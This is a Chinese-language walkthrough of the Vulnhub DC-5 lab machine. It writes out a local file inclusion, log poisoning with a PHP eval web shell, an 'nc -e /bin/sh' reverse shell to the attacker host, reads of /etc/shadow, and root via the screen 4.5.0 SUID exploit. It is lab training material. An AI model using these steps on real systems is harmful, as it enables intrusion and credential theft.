目标机:192.168.119.149
攻击机:192.168.119.140
流程解析:
-
nmap探测
对目标机器进行信息搜集,发现目标机器开放80等端口、80端口为nginx服务以及操作系统为linux:
sudo nmap -A -p- 192.168.119.149
-
80端口
访问192.168.119.149:80
-
—目录扫描
dirsearch进行目录扫描,发现除网站有的目录外还存在一个footer目录。
-
—文件包含漏洞
访问footer.php,发现是页末的标签,并且该标签会随页面刷新而变化:
http://192.168.119.149/footer.php
经过测试,在thankyou.php页面发现页末标签也会随页面刷新而变化:
故猜测thankyou页面存在文件包含漏洞,尝试构建参数file=index.php:
http://192.168.119.149/thankyou.php?file=index.php
确认存在文件包含漏洞。同时尝试远程文件包含,发现远程文件无法包含。确认目标只存在本地文件包含漏洞。
用burp抓包进行重放,查看其他文件信息。
查看/etc/passwd信息:
查看/etc/shadow信息:
确认当前是非root权限。由于目标开放nginx服务,尝试查看日志文件。
nginx日志默认路径为/var/log/nginx,日志文件包含访问日志(access.log)与错误日志(error.log)。:
/var/log/nginx/access.log
/var/log/nginx/error.log
-
—一句话木马
写入一句话木马,该段代码会被记录于access.log中:
file=eval($_POST['shell']); @
-
蚁剑
-
—getwebshell
用蚁剑连接access.log,成功getwebshell:
http://192.168.119.149/thankyou.php?file=/var/log/nginx/access.log
-
—反弹shell
查看目标机上是否存在nc:
nc -h
在攻击机上监听7777端口:
nc -lvp 7777
然后在蚁剑终端中建立连接:
nc -e /bin/sh 192.168.119.140 7777
成功反弹shell。目标机中装有python,利用python获取交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
-
Shell
-
—suid提权
获得反弹shell后,对目标机器进行更进一步信息搜集,发现screen-4.5.0文件具有suid权限、linux内核为3.16、无法使用sudo命令:
find / -perm -u=s -type f 2>/dev/null
uname -a
sudo -l
在漏洞库中搜索screen 4.5,发现该应用存在漏洞:
searchsploit screen 4.5
利用蚁剑将该脚本上传到目标机器,修改权限后发现运行错误:
查看41154.sh源码,根据提示新建并编译下述文件:
libhax.c:
rootshell.c:
修改后的run.sh:
这里由于脚本作者是在Windows下编辑的,linux无法识别格式,所以需要设置格式。
用vim打开,然后在命令模式下输入
:set ff=unix
enter
:wq
将libhax.c、rootshell.c、run.sh上传至目标机器的/tmp目录下。然后编译libhax.c与rootshell.c并运行run.sh,成功获取root权限:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
./run.sh
-
flag
转到根目录寻找flag文件:
find ./ -name *flag.txt
渗透结束,完成任务。
-
后记
本次渗透过程中,个人认为最精彩的地方在于隐藏的文件包含漏洞:当一个文件内容被包含于另一个文件时,应该马上思考是否存在文件包含漏洞,如果存在就要能构造该处的常见参数名称。其次就是本次的脚本无法直接使用,故要养成查看脚本内容习惯,同时也要善于运用搜索查缺补漏。
原文始发于微信公众号(陆吾安全攻防实验室):Vulnhub靶机:DC-5(文件包含与suid文件提权)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论